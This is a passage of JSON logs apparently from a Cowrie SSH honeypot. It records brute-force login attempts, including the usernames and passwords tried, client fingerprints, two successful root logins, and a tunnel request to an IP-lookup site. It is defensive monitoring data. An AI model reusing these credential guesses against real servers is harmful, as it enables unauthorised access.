03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:29.206332Z","src_ip":"200.225.246.102","session":"0ad473310d3f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:29.750318Z","src_ip":"200.225.246.102","session":"0ad473310d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:29.883274Z","src_ip":"200.225.246.102","session":"bed5dcea97aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:29.887532Z","src_ip":"200.225.246.102","session":"0ad473310d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.117.56.152","src_port":52000,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a8698499588","protocol":"ssh","message":"New connection: 103.117.56.152:52000 (159.203.135.109:22) [session: 0a8698499588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:39.561629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:39.566855Z","src_ip":"103.117.56.152","session":"0a8698499588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:39.837706Z","src_ip":"103.117.56.152","session":"0a8698499588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethan","password":"password","message":"login attempt [ethan/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:40.847361Z","src_ip":"103.117.56.152","session":"0a8698499588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:42.092421Z","src_ip":"103.117.56.152","session":"0a8698499588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":59986,"dst_ip":"10.17.0.5","dst_port":22,"session":"801dc541bd46","protocol":"ssh","message":"New connection: 27.79.44.181:59986 (10.17.0.5:22) [session: 801dc541bd46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:57.848643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:57.853684Z","src_ip":"27.79.44.181","session":"801dc541bd46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:58.156389Z","src_ip":"27.79.44.181","session":"801dc541bd46","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:59.001093Z","src_ip":"27.79.44.181","session":"801dc541bd46","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"27.79.44.181","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:59.278899Z","session":"801dc541bd46","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:02:00.363775Z","src_ip":"27.79.44.181","session":"801dc541bd46","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:02:00.368079Z","src_ip":"27.79.44.181","session":"801dc541bd46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:02:00.658307Z","src_ip":"27.79.44.181","session":"801dc541bd46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":48852,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e0a9c822ca8","protocol":"ssh","message":"New connection: 195.178.110.218:48852 (159.203.135.109:22) [session: 4e0a9c822ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:02:34.555641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:02:34.560362Z","src_ip":"195.178.110.218","session":"4e0a9c822ca8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:02:34.636389Z","src_ip":"195.178.110.218","session":"4e0a9c822ca8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:02:34.862888Z","src_ip":"195.178.110.218","session":"4e0a9c822ca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:02:35.940049Z","src_ip":"195.178.110.218","session":"4e0a9c822ca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":59184,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b564ddc1565","protocol":"ssh","message":"New connection: 2.57.122.210:59184 (159.203.135.109:22) [session: 2b564ddc1565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:03:03.494266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:03:03.499052Z","src_ip":"2.57.122.210","session":"2b564ddc1565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:03:03.598673Z","src_ip":"2.57.122.210","session":"2b564ddc1565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:03:03.898312Z","src_ip":"2.57.122.210","session":"2b564ddc1565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:03:05.000204Z","src_ip":"2.57.122.210","session":"2b564ddc1565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":42952,"dst_ip":"10.17.0.5","dst_port":22,"session":"23b3586cfb35","protocol":"ssh","message":"New connection: 200.225.246.102:42952 (10.17.0.5:22) [session: 23b3586cfb35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:03:31.603151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:03:31.607792Z","src_ip":"200.225.246.102","session":"23b3586cfb35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:03:31.736855Z","src_ip":"200.225.246.102","session":"23b3586cfb35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"otsmanager","password":"otsmanager@123456","message":"login attempt [otsmanager/otsmanager@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:03:32.286871Z","src_ip":"200.225.246.102","session":"23b3586cfb35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:03:33.418593Z","src_ip":"200.225.246.102","session":"23b3586cfb35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":54732,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a0d03ce0b9a","protocol":"ssh","message":"New connection: 195.178.110.218:54732 (159.203.135.109:22) [session: 9a0d03ce0b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:10.307985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:10.312728Z","src_ip":"195.178.110.218","session":"9a0d03ce0b9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:10.388294Z","src_ip":"195.178.110.218","session":"9a0d03ce0b9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:10.614584Z","src_ip":"195.178.110.218","session":"9a0d03ce0b9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:11.692650Z","src_ip":"195.178.110.218","session":"9a0d03ce0b9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":33690,"dst_ip":"159.203.135.109","dst_port":22,"session":"03ac53cbf8be","protocol":"ssh","message":"New connection: 2.57.122.210:33690 (159.203.135.109:22) [session: 03ac53cbf8be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:15.236638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:15.241817Z","src_ip":"2.57.122.210","session":"03ac53cbf8be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:15.345397Z","src_ip":"2.57.122.210","session":"03ac53cbf8be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qq2w3e4r5t","message":"login attempt [user/1qq2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:15.675840Z","src_ip":"2.57.122.210","session":"03ac53cbf8be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:16.778333Z","src_ip":"2.57.122.210","session":"03ac53cbf8be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.74.128.226","src_port":56840,"dst_ip":"10.17.0.5","dst_port":22,"session":"947d82cd0970","protocol":"ssh","message":"New connection: 106.74.128.226:56840 (10.17.0.5:22) [session: 947d82cd0970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:37.625488Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:05:38.155369Z","src_ip":"106.74.128.226","session":"947d82cd0970","protocol":"ssh"}
